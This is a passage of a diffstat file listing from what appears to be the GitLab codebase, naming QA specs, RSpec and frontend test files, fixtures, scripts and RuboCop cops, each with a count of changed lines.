-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb8
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/add_project_member_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/project_access_token_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/user/follow_user_activity_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/user/user_access_termination_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/check_mentions_for_xss_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/collapse_comments_in_discussions_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/comment_issue_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb27
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/custom_issue_template_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/export_as_csv_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/filter_issue_comments_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/issue_suggestions_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/jira_issue_import_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/mentions_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/real_time_assignee_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue_boards/focus_mode_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/milestone/create_group_milestone_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/milestone/create_project_milestone_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/related_issues/related_issues_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/transient/comment_on_discussion_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/design_management/add_design_content_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/design_management/archive_design_content_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/design_management/modify_design_content_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/jira/jira_basic_integration_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_a_merge_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_commit_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_via_template_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/merge_when_pipeline_succeeds_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/rebase_merge_request_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/revert/revert_commit_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/revert/reverting_merge_request_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/squash_merge_request_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/batch_suggestion_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/custom_commit_suggestion_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_diff_patch_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_merge_ref_diff_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/branch_with_unusual_name_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/clone_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/file/create_file_via_web_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/file/delete_file_via_web_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/file/edit_file_via_web_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/file/file_with_unusual_name_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/move_project_create_fork_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_http_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_ssh_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_lfs_over_http_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_over_http_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_file_size_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_over_ssh_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/ssh_key_support_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/user_views_commit_diff_patch_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_project_snippet_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_with_multiple_files_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_with_multiple_files_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/share_snippet_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/add_new_directory_in_web_ide_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/create_first_file_in_web_ide_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/link_to_line_in_web_ide_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/open_web_ide_from_diff_tab_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/review_merge_request_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/upload_new_file_in_web_ide_spec.rb8
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/web_terminal_spec.rb14
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/wiki/content_editor_spec.rb7
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_creation_spec.rb8
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_manipulation_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/wiki/project_based_directory_management_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/wiki/project_based_list_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/wiki/project_based_page_deletion_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/ci_variable/pipeline_with_protected_variable_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/include_local_config_file_paths_with_wildcard_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/include_multiple_files_from_a_project_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/locked_artifacts_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/merge_mr_when_pipline_is_blocked_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/mr_event_rule_pipeline_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/pass_dotenv_variables_to_downstream_via_bridge_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/pipeline_editor_branch_switcher_spec.rb87
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/run_pipeline_via_web_only_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_child_pipeline_with_manual_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_matrix_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_omnibus_spec.rb191
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_spec.rb18
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/container_registry/online_garbage_collection_spec.rb20
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/dependency_proxy/dependency_proxy_spec.rb54
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/composer_registry_spec.rb29
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/conan_repository_spec.rb46
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/generic_repository_spec.rb28
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/helm_registry_spec.rb24
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/maven_gradle_repository_spec.rb24
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/maven_repository_spec.rb58
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_instance_level_spec.rb44
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_project_level_spec.rb18
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/nuget_repository_spec.rb160
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/pypi_repository_spec.rb108
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/rubygems_registry_spec.rb172
-rw-r--r--qa/qa/specs/features/browser_ui/6_release/deploy_key/add_deploy_key_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/6_release/deploy_token/add_deploy_token_spec.rb8
-rw-r--r--qa/qa/specs/features/browser_ui/6_release/pages/pages_pipeline_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_dependent_relationship_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_independent_relationship_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/7_configure/kubernetes/kubernetes_integration_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb12
-rw-r--r--qa/qa/specs/features/browser_ui/non_devops/performance_bar_spec.rb38
-rw-r--r--qa/qa/support/formatters/test_stats_formatter.rb2
-rw-r--r--qa/qa/tools/knapsack_report.rb88
-rw-r--r--qa/qa/tools/reliable_report.rb299
-rw-r--r--qa/qa/vendor/jira/jira_api.rb48
-rw-r--r--qa/spec/resource/base_spec.rb11
-rw-r--r--qa/spec/runtime/env_spec.rb25
-rw-r--r--qa/spec/scenario/test/integration/kubernetes_spec.rb9
-rw-r--r--qa/spec/scenario/test/integration/service_ping_disabled_spec.rb9
-rw-r--r--qa/spec/spec_helper.rb7
-rw-r--r--qa/spec/support/formatters/test_stats_formatter_spec.rb2
-rw-r--r--qa/spec/support/shared_contexts/packages_registry_shared_context.rb10
-rw-r--r--qa/spec/tools/reliable_report_spec.rb222
-rw-r--r--qa/tasks/knapsack.rake17
-rw-r--r--qa/tasks/reliable_report.rake17
-rw-r--r--rubocop/code_reuse_helpers.rb8
-rw-r--r--rubocop/cop/gitlab/mark_used_feature_flags.rb6
-rw-r--r--rubocop/cop/graphql/authorize_types.rb4
-rw-r--r--rubocop/cop/graphql/old_types.rb3
-rw-r--r--rubocop/cop/migration/schedule_async.rb2
-rw-r--r--rubocop/cop/project_path_helper.rb2
-rw-r--r--rubocop/cop/qa/testcase_link_format.rb45
-rw-r--r--rubocop/cop/static_translation_definition.rb10
-rwxr-xr-xscripts/api/get_job_id.rb16
-rwxr-xr-xscripts/db_tasks12
-rw-r--r--scripts/frontend/startup_css/get_startup_css.js4
-rw-r--r--scripts/lib/gitlab.rb13
-rw-r--r--scripts/review_apps/base-config.yaml4
-rwxr-xr-xscripts/review_apps/review-apps.sh58
-rwxr-xr-xscripts/rspec_bisect_flaky29
-rw-r--r--scripts/rspec_helpers.sh100
-rwxr-xr-xscripts/trigger-build4
-rwxr-xr-xscripts/undercoverage3
-rwxr-xr-xscripts/used-feature-flags7
-rwxr-xr-xscripts/validate_migration_schema6
-rw-r--r--sidekiq_cluster/cli.rb92
-rw-r--r--sidekiq_cluster/dependencies.rb6
-rw-r--r--sidekiq_cluster/sidekiq_cluster.rb104
-rw-r--r--spec/bin/feature_flag_spec.rb4
-rw-r--r--spec/channels/application_cable/connection_spec.rb4
-rw-r--r--spec/commands/metrics_server/metrics_server_spec.rb73
-rw-r--r--spec/commands/sidekiq_cluster/cli_spec.rb213
-rw-r--r--spec/config/mail_room_spec.rb10
-rw-r--r--spec/controllers/abuse_reports_controller_spec.rb2
-rw-r--r--spec/controllers/admin/clusters_controller_spec.rb3
-rw-r--r--spec/controllers/admin/integrations_controller_spec.rb36
-rw-r--r--spec/controllers/application_controller_spec.rb9
-rw-r--r--spec/controllers/boards/issues_controller_spec.rb2
-rw-r--r--spec/controllers/google_api/authorizations_controller_spec.rb21
-rw-r--r--spec/controllers/graphql_controller_spec.rb11
-rw-r--r--spec/controllers/groups/dependency_proxies_controller_spec.rb68
-rw-r--r--spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb2
-rw-r--r--spec/controllers/groups/group_members_controller_spec.rb1
-rw-r--r--spec/controllers/groups_controller_spec.rb10
-rw-r--r--spec/controllers/import/bulk_imports_controller_spec.rb32
-rw-r--r--spec/controllers/import/fogbugz_controller_spec.rb11
-rw-r--r--spec/controllers/invites_controller_spec.rb55
-rw-r--r--spec/controllers/omniauth_callbacks_controller_spec.rb13
-rw-r--r--spec/controllers/profiles/emails_controller_spec.rb2
-rw-r--r--spec/controllers/projects/issues_controller_spec.rb35
-rw-r--r--spec/controllers/projects/learn_gitlab_controller_spec.rb9
-rw-r--r--spec/controllers/projects/merge_requests/diffs_controller_spec.rb3
-rw-r--r--spec/controllers/projects/merge_requests_controller_spec.rb31
-rw-r--r--spec/controllers/projects/pipelines_controller_spec.rb25
-rw-r--r--spec/controllers/projects/project_members_controller_spec.rb1
-rw-r--r--spec/controllers/projects/repositories_controller_spec.rb2
-rw-r--r--spec/controllers/projects/serverless/functions_controller_spec.rb4
-rw-r--r--spec/controllers/projects/settings/ci_cd_controller_spec.rb11
-rw-r--r--spec/controllers/projects_controller_spec.rb55
-rw-r--r--spec/controllers/registrations/welcome_controller_spec.rb4
-rw-r--r--spec/controllers/registrations_controller_spec.rb71
-rw-r--r--spec/controllers/repositories/git_http_controller_spec.rb8
-rw-r--r--spec/controllers/root_controller_spec.rb24
-rw-r--r--spec/controllers/search_controller_spec.rb109
-rw-r--r--spec/controllers/sent_notifications_controller_spec.rb8
-rw-r--r--spec/controllers/sessions_controller_spec.rb2
-rw-r--r--spec/controllers/user_callouts_controller_spec.rb52
-rw-r--r--spec/controllers/users/callouts_controller_spec.rb52
-rw-r--r--spec/db/schema_spec.rb16
-rw-r--r--spec/dependencies/omniauth_saml_spec.rb2
-rw-r--r--spec/experiments/application_experiment_spec.rb217
-rw-r--r--spec/experiments/new_project_sast_enabled_experiment_spec.rb2
-rw-r--r--spec/factories/ci/pipelines.rb6
-rw-r--r--spec/factories/clusters/agents/activity_events.rb13
-rw-r--r--spec/factories/commit_signature/gpg_signature.rb11
-rw-r--r--spec/factories/commit_signature/x509_commit_signature.rb10
-rw-r--r--spec/factories/customer_relations/contacts.rb1
-rw-r--r--spec/factories/deployments.rb4
-rw-r--r--spec/factories/gitlab/database/background_migration/batched_migrations.rb8
-rw-r--r--spec/factories/gpg_signature.rb11
-rw-r--r--spec/factories/import_failures.rb2
-rw-r--r--spec/factories/issue_emails.rb8
-rw-r--r--spec/factories/namespaces.rb8
-rw-r--r--spec/factories/notes.rb1
-rw-r--r--spec/factories/packages/debian/component_file.rb4
-rw-r--r--spec/factories/packages/package_files.rb8
-rw-r--r--spec/factories/packages/packages.rb6
-rw-r--r--spec/factories/plan_limits.rb1
-rw-r--r--spec/factories/projects.rb2
-rw-r--r--spec/factories/protected_branches.rb16
-rw-r--r--spec/factories/sequences.rb3
-rw-r--r--spec/factories/user_callouts.rb9
-rw-r--r--spec/factories/users/callouts.rb9
-rw-r--r--spec/factories/x509_commit_signature.rb10
-rw-r--r--spec/features/action_cable_logging_spec.rb2
-rw-r--r--spec/features/admin/admin_deploy_keys_spec.rb134
-rw-r--r--spec/features/admin/admin_labels_spec.rb2
-rw-r--r--spec/features/admin/admin_projects_spec.rb5
-rw-r--r--spec/features/admin/admin_runners_spec.rb56
-rw-r--r--spec/features/admin/admin_settings_spec.rb18
-rw-r--r--spec/features/admin/users/user_spec.rb5
-rw-r--r--spec/features/alert_management/alert_details_spec.rb4
-rw-r--r--spec/features/boards/board_filters_spec.rb197
-rw-r--r--spec/features/boards/sidebar_due_date_spec.rb46
-rw-r--r--spec/features/boards/sidebar_milestones_spec.rb65
-rw-r--r--spec/features/clusters/create_agent_spec.rb8
-rw-r--r--spec/features/commits_spec.rb11
-rw-r--r--spec/features/dashboard/issues_spec.rb4
-rw-r--r--spec/features/dashboard/merge_requests_spec.rb2
-rw-r--r--spec/features/dashboard/milestones_spec.rb2
-rw-r--r--spec/features/dashboard/root_spec.rb19
-rw-r--r--spec/features/expand_collapse_diffs_spec.rb1
-rw-r--r--spec/features/gitlab_experiments_spec.rb3
-rw-r--r--spec/features/global_search_spec.rb16
-rw-r--r--spec/features/groups/container_registry_spec.rb2
-rw-r--r--spec/features/groups/empty_states_spec.rb2
-rw-r--r--spec/features/groups/issues_spec.rb12
-rw-r--r--spec/features/groups/members/manage_groups_spec.rb3
-rw-r--r--spec/features/groups/members/manage_members_spec.rb57
-rw-r--r--spec/features/groups/navbar_spec.rb1
-rw-r--r--spec/features/help_pages_spec.rb2
-rw-r--r--spec/features/ide/clientside_preview_csp_spec.rb4
-rw-r--r--spec/features/ide/static_object_external_storage_csp_spec.rb4
-rw-r--r--spec/features/invites_spec.rb28
-rw-r--r--spec/features/issuables/shortcuts_issuable_spec.rb86
-rw-r--r--spec/features/issuables/sorting_list_spec.rb12
-rw-r--r--spec/features/issues/csv_spec.rb22
-rw-r--r--spec/features/issues/gfm_autocomplete_spec.rb2
-rw-r--r--spec/features/issues/issue_header_spec.rb9
-rw-r--r--spec/features/issues/issue_sidebar_spec.rb59
-rw-r--r--spec/features/issues/user_bulk_edits_issues_labels_spec.rb143
-rw-r--r--spec/features/issues/user_edits_issue_spec.rb9
-rw-r--r--spec/features/issues/user_invites_from_a_comment_spec.rb25
-rw-r--r--spec/features/labels_hierarchy_spec.rb24
-rw-r--r--spec/features/merge_request/user_customizes_merge_commit_message_spec.rb51
-rw-r--r--spec/features/merge_request/user_expands_diff_spec.rb1
-rw-r--r--spec/features/merge_request/user_invites_from_a_comment_spec.rb25
-rw-r--r--spec/features/merge_request/user_posts_diff_notes_spec.rb7
-rw-r--r--spec/features/merge_request/user_resolves_wip_mr_spec.rb4
-rw-r--r--spec/features/merge_request/user_sees_wip_help_message_spec.rb4
-rw-r--r--spec/features/merge_request/user_squashes_merge_request_spec.rb38
-rw-r--r--spec/features/merge_request/user_views_open_merge_request_spec.rb2
-rw-r--r--spec/features/one_trust_spec.rb23
-rw-r--r--spec/features/profile_spec.rb35
-rw-r--r--spec/features/profiles/personal_access_tokens_spec.rb24
-rw-r--r--spec/features/profiles/two_factor_auths_spec.rb8
-rw-r--r--spec/features/profiles/user_visits_profile_spec.rb18
-rw-r--r--spec/features/projects/ci/editor_spec.rb60
-rw-r--r--spec/features/projects/cluster_agents_spec.rb13
-rw-r--r--spec/features/projects/clusters/eks_spec.rb2
-rw-r--r--spec/features/projects/clusters/gcp_spec.rb15
-rw-r--r--spec/features/projects/clusters/user_spec.rb4
-rw-r--r--spec/features/projects/clusters_spec.rb22
-rw-r--r--spec/features/projects/container_registry_spec.rb2
-rw-r--r--spec/features/projects/files/user_creates_files_spec.rb2
-rw-r--r--spec/features/projects/fork_spec.rb11
-rw-r--r--spec/features/projects/integrations/user_activates_jira_spec.rb3
-rw-r--r--spec/features/projects/issues/design_management/user_uploads_designs_spec.rb21
-rw-r--r--spec/features/projects/jobs/user_browses_jobs_spec.rb2
-rw-r--r--spec/features/projects/labels/issues_sorted_by_priority_spec.rb2
-rw-r--r--spec/features/projects/members/groups_with_access_list_spec.rb3
-rw-r--r--spec/features/projects/members/list_spec.rb3
-rw-r--r--spec/features/projects/milestones/milestone_spec.rb39
-rw-r--r--spec/features/projects/pages/user_adds_domain_spec.rb4
-rw-r--r--spec/features/projects/pipeline_schedules_spec.rb2
-rw-r--r--spec/features/projects/pipelines/pipeline_spec.rb4
-rw-r--r--spec/features/projects/pipelines/pipelines_spec.rb2
-rw-r--r--spec/features/projects/settings/forked_project_settings_spec.rb2
-rw-r--r--spec/features/projects/settings/user_manages_project_members_spec.rb3
-rw-r--r--spec/features/projects/settings/user_transfers_a_project_spec.rb8
-rw-r--r--spec/features/projects/sourcegraph_csp_spec.rb5
-rw-r--r--spec/features/projects/tags/user_edits_tags_spec.rb3
-rw-r--r--spec/features/projects/user_creates_project_spec.rb25
-rw-r--r--spec/features/search/user_searches_for_code_spec.rb19
-rw-r--r--spec/features/snippets/user_snippets_spec.rb6
-rw-r--r--spec/features/users/active_sessions_spec.rb10
-rw-r--r--spec/features/users/login_spec.rb6
-rw-r--r--spec/features/users/one_trust_csp_spec.rb17
-rw-r--r--spec/features/users/show_spec.rb24
-rw-r--r--spec/features/webauthn_spec.rb146
-rw-r--r--spec/finders/ci/auth_job_finder_spec.rb11
-rw-r--r--spec/finders/ci/runners_finder_spec.rb28
-rw-r--r--spec/finders/environments/environments_by_deployments_finder_spec.rb14
-rw-r--r--spec/finders/group_descendants_finder_spec.rb345
-rw-r--r--spec/finders/groups_finder_spec.rb15
-rw-r--r--spec/finders/issuables/crm_contact_filter_spec.rb45
-rw-r--r--spec/finders/issuables/crm_organization_filter_spec.rb48
-rw-r--r--spec/finders/issues_finder_spec.rb39
-rw-r--r--spec/finders/merge_requests_finder_spec.rb24
-rw-r--r--spec/finders/packages/build_infos_finder_spec.rb64
-rw-r--r--spec/finders/packages/group_packages_finder_spec.rb22
-rw-r--r--spec/finders/packages/nuget/package_finder_spec.rb2
-rw-r--r--spec/finders/personal_projects_finder_spec.rb34
-rw-r--r--spec/finders/user_group_notification_settings_finder_spec.rb238
-rw-r--r--spec/fixtures/api/schemas/deployment.json2
-rw-r--r--spec/fixtures/api/schemas/pipeline_schedule.json1
-rw-r--r--spec/fixtures/clusters/ca_certificate.pem23
-rw-r--r--spec/fixtures/clusters/chain_certificates.pem174
-rw-r--r--spec/fixtures/clusters/intermediate_certificate.pem52
-rw-r--r--spec/fixtures/clusters/leaf_certificate.pem37
-rw-r--r--spec/fixtures/clusters/root_certificate.pem66
-rw-r--r--spec/fixtures/emails/service_desk_custom_address_envelope_to.eml24
-rw-r--r--spec/fixtures/emails/service_desk_custom_address_reply.eml24
-rw-r--r--spec/fixtures/emails/service_desk_custom_address_x_envelope_to.eml24
-rw-r--r--spec/fixtures/emails/service_desk_forwarded.eml2
-rw-r--r--spec/fixtures/emails/service_desk_reply.eml23
-rw-r--r--spec/fixtures/emails/valid_new_issue_with_only_quotes.eml23
-rw-r--r--spec/fixtures/error_tracking/parsed_event_nullbytes.json175
-rw-r--r--spec/fixtures/error_tracking/python_event_repl.json1
-rw-r--r--spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric.yml1
-rw-r--r--spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_ee.yml1
-rw-r--r--spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml1
-rw-r--r--spec/fixtures/markdown/markdown_golden_master_examples.yml840
-rw-r--r--spec/fixtures/packages/generic/myfile.zipbin0 -> 3989 bytes
-rw-r--r--spec/frontend/__helpers__/emoji.js46
-rw-r--r--spec/frontend/__helpers__/experimentation_helper.js2
-rw-r--r--spec/frontend/__helpers__/matchers.js (renamed from spec/frontend/matchers.js)0
-rw-r--r--spec/frontend/__helpers__/matchers_spec.js (renamed from spec/frontend/matchers_spec.js)0
-rw-r--r--spec/frontend/__helpers__/mock_apollo_helper.js4
-rw-r--r--spec/frontend/__helpers__/mocks/axios_utils.js (renamed from spec/frontend/mocks/ce/lib/utils/axios_utils.js)0
-rw-r--r--spec/frontend/__helpers__/shared_test_setup.js90
-rw-r--r--spec/frontend/access_tokens/components/token_spec.js65
-rw-r--r--spec/frontend/access_tokens/components/tokens_app_spec.js148
-rw-r--r--spec/frontend/admin/analytics/devops_score/components/devops_score_spec.js10
-rw-r--r--spec/frontend/admin/deploy_keys/components/table_spec.js209
-rw-r--r--spec/frontend/admin/statistics_panel/components/app_spec.js7
-rw-r--r--spec/frontend/admin/users/components/actions/actions_spec.js7
-rw-r--r--spec/frontend/admin/users/components/modals/__snapshots__/delete_user_modal_spec.js.snap80
-rw-r--r--spec/frontend/admin/users/components/modals/delete_user_modal_spec.js29
-rw-r--r--spec/frontend/admin/users/components/users_table_spec.js6
-rw-r--r--spec/frontend/alerts_settings/components/__snapshots__/alerts_form_spec.js.snap4
-rw-r--r--spec/frontend/alerts_settings/components/mocks/apollo_mock.js1
-rw-r--r--spec/frontend/analytics/usage_trends/components/usage_trends_count_chart_spec.js7
-rw-r--r--spec/frontend/analytics/usage_trends/components/users_chart_spec.js7
-rw-r--r--spec/frontend/api/packages_api_spec.js53
-rw-r--r--spec/frontend/api_spec.js47
-rw-r--r--spec/frontend/artifacts_settings/components/keep_latest_artifact_checkbox_spec.js1
-rw-r--r--spec/frontend/awards_handler_spec.js10
-rw-r--r--spec/frontend/behaviors/gl_emoji_spec.js15
-rw-r--r--spec/frontend/blob/components/__snapshots__/blob_header_filepath_spec.js.snap1
-rw-r--r--spec/frontend/blob/viewer/index_spec.js2
-rw-r--r--spec/frontend/blob_edit/edit_blob_spec.js35
-rw-r--r--spec/frontend/boards/board_list_helper.js24
-rw-r--r--spec/frontend/boards/board_list_spec.js30
-rw-r--r--spec/frontend/boards/components/board_content_sidebar_spec.js9
-rw-r--r--spec/frontend/boards/components/board_filtered_search_spec.js24
-rw-r--r--spec/frontend/boards/components/board_list_header_spec.js20
-rw-r--r--spec/frontend/boards/components/issue_board_filtered_search_spec.js4
-rw-r--r--spec/frontend/boards/components/sidebar/board_sidebar_labels_select_spec.js168
-rw-r--r--spec/frontend/boards/components/sidebar/board_sidebar_subscription_spec.js163
-rw-r--r--spec/frontend/boards/mock_data.js60
-rw-r--r--spec/frontend/boards/stores/actions_spec.js95
-rw-r--r--spec/frontend/ci_lint/components/ci_lint_spec.js2
-rw-r--r--spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js55
-rw-r--r--spec/frontend/clusters/agents/components/activity_events_list_spec.js102
-rw-r--r--spec/frontend/clusters/agents/components/activity_history_item_spec.js56
-rw-r--r--spec/frontend/clusters/agents/components/show_spec.js10
-rw-r--r--spec/frontend/clusters/mock_data.js165
-rw-r--r--spec/frontend/clusters_list/components/agent_empty_state_spec.js57
-rw-r--r--spec/frontend/clusters_list/components/agents_spec.js22
-rw-r--r--spec/frontend/clusters_list/components/available_agents_dropwdown_spec.js71
-rw-r--r--spec/frontend/clusters_list/components/clusters_empty_state_spec.js54
-rw-r--r--spec/frontend/clusters_list/components/clusters_main_view_spec.js22
-rw-r--r--spec/frontend/clusters_list/components/install_agent_modal_spec.js265
-rw-r--r--spec/frontend/clusters_list/mocks/apollo.js1
-rw-r--r--spec/frontend/code_navigation/components/__snapshots__/popover_spec.js.snap4
-rw-r--r--spec/frontend/content_editor/components/__snapshots__/toolbar_link_button_spec.js.snap2
